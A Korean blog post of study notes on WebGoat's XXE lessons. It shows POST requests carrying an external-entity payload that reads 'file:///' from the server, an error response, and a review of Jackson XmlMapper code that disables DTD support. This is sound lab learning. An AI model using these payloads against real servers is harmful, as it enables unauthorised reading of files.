본문 바로가기
강의 및 교육/Inflearn - Webgoat

XXE - 7. Modern REST framework

by 이우정 2022. 2. 19.
728x90

[ 이론 ]

 

Assignment solution

이전 문제가 좀 해결이 틀린 듯 하다.

POST /WebGoat/xxe/simple
Content-Type: application/xml

<?xml version="1.0"?>
<comment>
  <text>
    <?xml version="1.0" standalone="yes" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
    <comment><text>&root;</text></comment>
  </text>
</comment>

불러오는 user가 &root여야 한다. 

POST /WebGoat/xxe/simple
Content-Type: application/xml

<?xml version="1.0" ?><!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]>
<comment><text>&root;</text></comment>

추가로 이런식으로 하면

{
  "lessonCompleted" : false,
  "feedback" : "Sorry the solution is not correct, please try again.",
  "output" : "...javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,44]\\nMessage: The processing instruction target matching \\\"[xX][mM][lL]\\\" is not allowed.]"
  "assignment" : "SimpleXXE",
  "attemptWasMade" : true
}

이런 오류로 xml를 필터링하고 있다는 것을 알 수 있다. 

 

 

Find XXE with a code review

이제 우리는 injection이 어떻게 작동하는지 알았다. 이것이 왜 가능한지 보자. JAVA application들의 XML library 구성에서는 default가 안전하지 않고 너는 설정을 변경할 수 있다. code 점검에서 너는 다음 이어지는 code 조각을 발견했다 가정하자.

public XmlMapper xmlMapper() {
  return new XmlMapper(XMLInputFactory.newInstance()) 
}

Jackson 라이브러리 배포 노트를 포면 알 수 있다. 

211: Disable SUPPORT_DTD for XMLInputFactory unless explicitly overridden

 

이 코드 조각은 xml 및 json을 읽고 쓰는데 널리 사용되는 프레임워크인 xmlMapper(ObjectMappeR)를 정의한다. 

/**
 * @since 2.4
 */
public XmlMapper(XMLInputFactory inputF) {  // 위에서 부른 생성자 
  this(new XmlFactory(inputF));  // 다른 생성자를 호출하고 XmlFactory의 새 인스턴스 초기화
}
public XmlFactory(XMLInputFactory xmlIn) {  // 밑에 있는 것에서 새로운 인스턴스를 위해 정의된 생성자
  this(xmlIn, null); }  // 밑에 있는 생성자를 호출한다. 

protected XmlFactory(XMLInputFactory xmlIn, XMLOutputFactory xmlOut, ...) { 
  if (xmlIn == null) {  
    xmlIn = XMLInputFactory.newInstance();
    // as per [dataformat-xml#190], disable external entity expansion by default
    xmlIn.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);  
    // and ditto wrt [dataformat-xml#211], SUPPORT_DTD
    xmlIn.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE); 
  }
}

뭔말인지 못알아 듣겠는데,,,?

 

 

[ 문제 ]

Modern REST framework

 

현대의 REST frameworks에서 서버는 개발자로서 생각지 못한 데이터 형식을 받아들일 수 있다. 그러니 JSON endpoint에서 XXE 공격 취약점이 결과적으로 보여질 수 있다. 

다 똑같은데 content-type을 application/xml로 변경한다. 

728x90

'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글

Insecure Direct Object References - 2, 3, 4, 5  (0) 2022.02.19
XXE - 11. Blind XXE assignment  (0) 2022.02.19
XXE - 4. Let's try  (0) 2022.02.19
JWT tokens - 10. Refreshing a token  (0) 2022.02.14
JWT tokens - 8. JWT cracking  (0) 2022.02.11